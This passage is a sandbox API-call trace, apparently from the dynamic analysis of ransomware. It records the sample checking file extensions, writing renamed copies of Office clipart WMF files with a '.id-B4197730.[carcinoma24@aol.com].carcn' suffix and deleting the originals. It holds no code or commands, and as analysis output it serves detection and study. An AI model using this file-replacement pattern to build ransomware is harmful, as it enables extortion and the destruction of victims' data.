(lpString1=".rar", lpString2=".WMF") returned -1 [0302.663] lstrlenW (lpString=".bz2") returned 4 [0302.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.663] lstrlenW (lpString=".7z") returned 3 [0302.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0302.663] lstrlenW (lpString=".dbf") returned 4 [0302.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0302.663] lstrlenW (lpString=".1cd") returned 4 [0302.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0302.663] lstrlenW (lpString=".jpg") returned 4 [0302.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.663] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.663] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.664] GetLastError () returned 0x0 [0302.664] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xbc8, lpOverlapped=0x0) returned 1 [0302.665] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xbd0, lpOverlapped=0x0) returned 1 [0302.665] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.665] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.665] SetEndOfFile (hFile=0x370) returned 1 [0302.666] CloseHandle (hObject=0x370) returned 1 [0302.666] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.666] SetEndOfFile (hFile=0x358) returned 1 [0302.666] CloseHandle (hObject=0x358) returned 1 [0302.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0302.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0302.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0302.667] lstrlenW (lpString=".doc") returned 4 [0302.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.667] lstrlenW (lpString=".docx") returned 5 [0302.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.667] lstrlenW (lpString=".pdf") returned 4 [0302.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.667] lstrlenW (lpString=".xls") returned 4 [0302.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.667] lstrlenW (lpString=".xlsx") returned 5 [0302.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.667] lstrlenW (lpString=".ppt") returned 4 [0302.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0302.667] lstrlenW (lpString=".zip") returned 4 [0302.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.667] lstrlenW (lpString=".rar") returned 4 [0302.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.667] lstrlenW (lpString=".bz2") returned 4 [0302.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.668] lstrlenW (lpString=".7z") returned 3 [0302.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0302.668] lstrlenW (lpString=".dbf") returned 4 [0302.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0302.668] lstrlenW (lpString=".1cd") returned 4 [0302.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0302.668] lstrlenW (lpString=".jpg") returned 4 [0302.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.668] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.668] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.669] GetLastError () returned 0x0 [0302.669] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x5f8, lpOverlapped=0x0) returned 1 [0302.669] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x600, lpOverlapped=0x0) returned 1 [0302.670] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.670] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.670] SetEndOfFile (hFile=0x370) returned 1 [0302.670] CloseHandle (hObject=0x370) returned 1 [0302.670] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.670] SetEndOfFile (hFile=0x358) returned 1 [0302.672] CloseHandle (hObject=0x358) returned 1 [0302.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0302.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0302.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0302.673] lstrlenW (lpString=".doc") returned 4 [0302.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.673] lstrlenW (lpString=".docx") returned 5 [0302.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.673] lstrlenW (lpString=".pdf") returned 4 [0302.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.673] lstrlenW (lpString=".xls") returned 4 [0302.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.673] lstrlenW (lpString=".xlsx") returned 5 [0302.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.673] lstrlenW (lpString=".ppt") returned 4 [0302.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0302.673] lstrlenW (lpString=".zip") returned 4 [0302.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.673] lstrlenW (lpString=".rar") returned 4 [0302.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.673] lstrlenW (lpString=".bz2") returned 4 [0302.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.673] lstrlenW (lpString=".7z") returned 3 [0302.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0302.673] lstrlenW (lpString=".dbf") returned 4 [0302.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0302.673] lstrlenW (lpString=".1cd") returned 4 [0302.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0302.673] lstrlenW (lpString=".jpg") returned 4 [0302.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.674] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.674] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.674] GetLastError () returned 0x0 [0302.674] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xce2, lpOverlapped=0x0) returned 1 [0302.675] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xcf0, lpOverlapped=0x0) returned 1 [0302.676] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.676] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.676] SetEndOfFile (hFile=0x370) returned 1 [0302.676] CloseHandle (hObject=0x370) returned 1 [0302.676] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.676] SetEndOfFile (hFile=0x358) returned 1 [0302.677] CloseHandle (hObject=0x358) returned 1 [0302.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0302.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0302.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0302.677] lstrlenW (lpString=".doc") returned 4 [0302.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.678] lstrlenW (lpString=".docx") returned 5 [0302.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.678] lstrlenW (lpString=".pdf") returned 4 [0302.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.678] lstrlenW (lpString=".xls") returned 4 [0302.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.678] lstrlenW (lpString=".xlsx") returned 5 [0302.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.678] lstrlenW (lpString=".ppt") returned 4 [0302.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0302.678] lstrlenW (lpString=".zip") returned 4 [0302.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.678] lstrlenW (lpString=".rar") returned 4 [0302.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.678] lstrlenW (lpString=".bz2") returned 4 [0302.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.678] lstrlenW (lpString=".7z") returned 3 [0302.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0302.678] lstrlenW (lpString=".dbf") returned 4 [0302.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0302.678] lstrlenW (lpString=".1cd") returned 4 [0302.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0302.678] lstrlenW (lpString=".jpg") returned 4 [0302.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.678] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.678] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.679] GetLastError () returned 0x0 [0302.679] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x332, lpOverlapped=0x0) returned 1 [0302.680] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x340, lpOverlapped=0x0) returned 1 [0302.680] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.680] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.681] SetEndOfFile (hFile=0x370) returned 1 [0302.681] CloseHandle (hObject=0x370) returned 1 [0302.681] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.681] SetEndOfFile (hFile=0x358) returned 1 [0302.681] CloseHandle (hObject=0x358) returned 1 [0302.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0302.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0302.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0302.682] lstrlenW (lpString=".doc") returned 4 [0302.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.682] lstrlenW (lpString=".docx") returned 5 [0302.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.682] lstrlenW (lpString=".pdf") returned 4 [0302.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.682] lstrlenW (lpString=".xls") returned 4 [0302.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.682] lstrlenW (lpString=".xlsx") returned 5 [0302.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.682] lstrlenW (lpString=".ppt") returned 4 [0302.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0302.682] lstrlenW (lpString=".zip") returned 4 [0302.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.683] lstrlenW (lpString=".rar") returned 4 [0302.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.683] lstrlenW (lpString=".bz2") returned 4 [0302.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.683] lstrlenW (lpString=".7z") returned 3 [0302.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0302.683] lstrlenW (lpString=".dbf") returned 4 [0302.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0302.683] lstrlenW (lpString=".1cd") returned 4 [0302.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0302.683] lstrlenW (lpString=".jpg") returned 4 [0302.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.683] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.683] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.684] GetLastError () returned 0x0 [0302.684] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x3960, lpOverlapped=0x0) returned 1 [0302.684] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x3970, lpOverlapped=0x0) returned 1 [0302.686] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.686] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.686] SetEndOfFile (hFile=0x370) returned 1 [0302.686] CloseHandle (hObject=0x370) returned 1 [0302.686] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.686] SetEndOfFile (hFile=0x358) returned 1 [0302.687] CloseHandle (hObject=0x358) returned 1 [0302.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0302.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0302.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0302.688] lstrlenW (lpString=".doc") returned 4 [0302.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.688] lstrlenW (lpString=".docx") returned 5 [0302.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.688] lstrlenW (lpString=".pdf") returned 4 [0302.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.688] lstrlenW (lpString=".xls") returned 4 [0302.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.688] lstrlenW (lpString=".xlsx") returned 5 [0302.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.688] lstrlenW (lpString=".ppt") returned 4 [0302.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0302.688] lstrlenW (lpString=".zip") returned 4 [0302.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.688] lstrlenW (lpString=".rar") returned 4 [0302.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.688] lstrlenW (lpString=".bz2") returned 4 [0302.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.688] lstrlenW (lpString=".7z") returned 3 [0302.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0302.688] lstrlenW (lpString=".dbf") returned 4 [0302.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0302.688] lstrlenW (lpString=".1cd") returned 4 [0302.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0302.688] lstrlenW (lpString=".jpg") returned 4 [0302.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.689] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.689] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.689] GetLastError () returned 0x0 [0302.689] ReadFile (in: hFile=0x358, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x34e2, lpOverlapped=0x0) returned 1 